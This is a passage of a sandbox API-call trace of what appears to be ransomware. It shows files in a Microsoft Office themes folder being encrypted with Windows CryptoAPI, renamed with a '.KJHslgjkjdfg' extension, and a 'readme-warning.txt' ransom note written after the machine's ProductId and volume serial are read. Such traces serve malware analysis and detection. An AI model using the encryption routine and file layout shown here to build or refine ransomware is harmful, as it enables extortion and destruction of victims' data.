CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.016] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.016] SetEndOfFile (hFile=0x12c) returned 1 [0186.018] GetProcessHeap () returned 0x2ef0000 [0186.018] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0186.018] GetProcessHeap () returned 0x2ef0000 [0186.018] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0186.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.kjhslgjkjdfg")) returned 1 [0186.022] CloseHandle (hObject=0x12c) returned 1 [0186.023] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0186.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0186.023] GetProcessHeap () returned 0x2ef0000 [0186.023] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0186.023] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0186.023] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0186.023] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0186.360] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0186.360] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0186.360] GetProcessHeap () returned 0x2ef0000 [0186.360] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0186.360] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0186.360] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.360] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0186.361] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0186.361] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0186.361] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0186.361] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0186.361] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0186.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0186.361] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0186.361] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.361] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbb5a, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xbb5a, lpOverlapped=0x0) returned 1 [0186.366] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbb60, dwBufLen=0xbb60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbb60) returned 1 [0186.367] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.367] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xbb60, lpOverlapped=0x0) returned 1 [0186.367] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.367] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.368] SetEndOfFile (hFile=0x12c) returned 1 [0186.371] GetProcessHeap () returned 0x2ef0000 [0186.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0186.371] GetProcessHeap () returned 0x2ef0000 [0186.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0186.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0186.374] CloseHandle (hObject=0x12c) returned 1 [0186.377] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0186.377] GetProcessHeap () returned 0x2ef0000 [0186.377] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0186.377] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0186.377] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0186.378] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.378] GetProcessHeap () returned 0x2ef0000 [0186.378] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0186.378] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0186.378] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0186.378] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.378] GetProcessHeap () returned 0x2ef0000 [0186.378] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0186.378] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0186.378] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0186.378] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.378] GetProcessHeap () returned 0x2ef0000 [0186.378] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0186.378] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0186.378] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0186.378] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.378] GetProcessHeap () returned 0x2ef0000 [0186.378] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0186.378] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0186.378] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0186.378] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.379] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0186.379] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0186.385] RegCloseKey (hKey=0x12c) returned 0x0 [0186.385] GetProcessHeap () returned 0x2ef0000 [0186.385] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0186.385] GetProcessHeap () returned 0x2ef0000 [0186.385] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0186.385] GetProcessHeap () returned 0x2ef0000 [0186.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0186.386] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0186.386] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0186.386] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.386] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0186.386] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0186.386] GetProcessHeap () returned 0x2ef0000 [0186.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0186.386] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0186.386] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0186.387] GetProcessHeap () returned 0x2ef0000 [0186.387] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0186.387] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\readme-warning.txt") returned 82 [0186.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0186.394] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0186.395] CloseHandle (hObject=0x12c) returned 1 [0186.395] GetProcessHeap () returned 0x2ef0000 [0186.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0186.395] GetProcessHeap () returned 0x2ef0000 [0186.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0186.395] GetProcessHeap () returned 0x2ef0000 [0186.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0186.395] GetProcessHeap () returned 0x2ef0000 [0186.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0186.395] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0186.395] GetProcessHeap () returned 0x2ef0000 [0186.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0186.396] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0186.396] GetProcessHeap () returned 0x2ef0000 [0186.396] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f425d0 [0186.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0186.396] GetProcessHeap () returned 0x2ef0000 [0186.396] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0186.396] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0186.396] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0186.396] GetProcessHeap () returned 0x2ef0000 [0186.396] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28e) returned 0x2f10788 [0186.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0186.399] GetProcessHeap () returned 0x2ef0000 [0186.399] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0186.399] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0186.399] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0186.399] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0186.566] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0186.566] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0186.566] GetProcessHeap () returned 0x2ef0000 [0186.566] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0186.566] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0186.566] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.566] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0186.566] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0186.567] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0186.567] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0186.567] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0186.567] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0186.567] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0186.567] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0186.567] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.567] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xe1b, lpOverlapped=0x0) returned 1 [0186.567] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe20, dwBufLen=0xe20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe20) returned 1 [0186.567] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.567] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xe20, lpOverlapped=0x0) returned 1 [0186.567] CryptDestroyKey (hKey=0x2f18308) returned 1 [0186.568] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.568] SetEndOfFile (hFile=0x12c) returned 1 [0186.573] GetProcessHeap () returned 0x2ef0000 [0186.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0186.573] GetProcessHeap () returned 0x2ef0000 [0186.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0186.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.kjhslgjkjdfg")) returned 1 [0186.574] CloseHandle (hObject=0x12c) returned 1 [0186.575] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0186.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0186.576] GetProcessHeap () returned 0x2ef0000 [0186.576] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0186.576] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0186.576] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0186.576] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0187.580] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0187.580] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0187.580] GetProcessHeap () returned 0x2ef0000 [0187.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 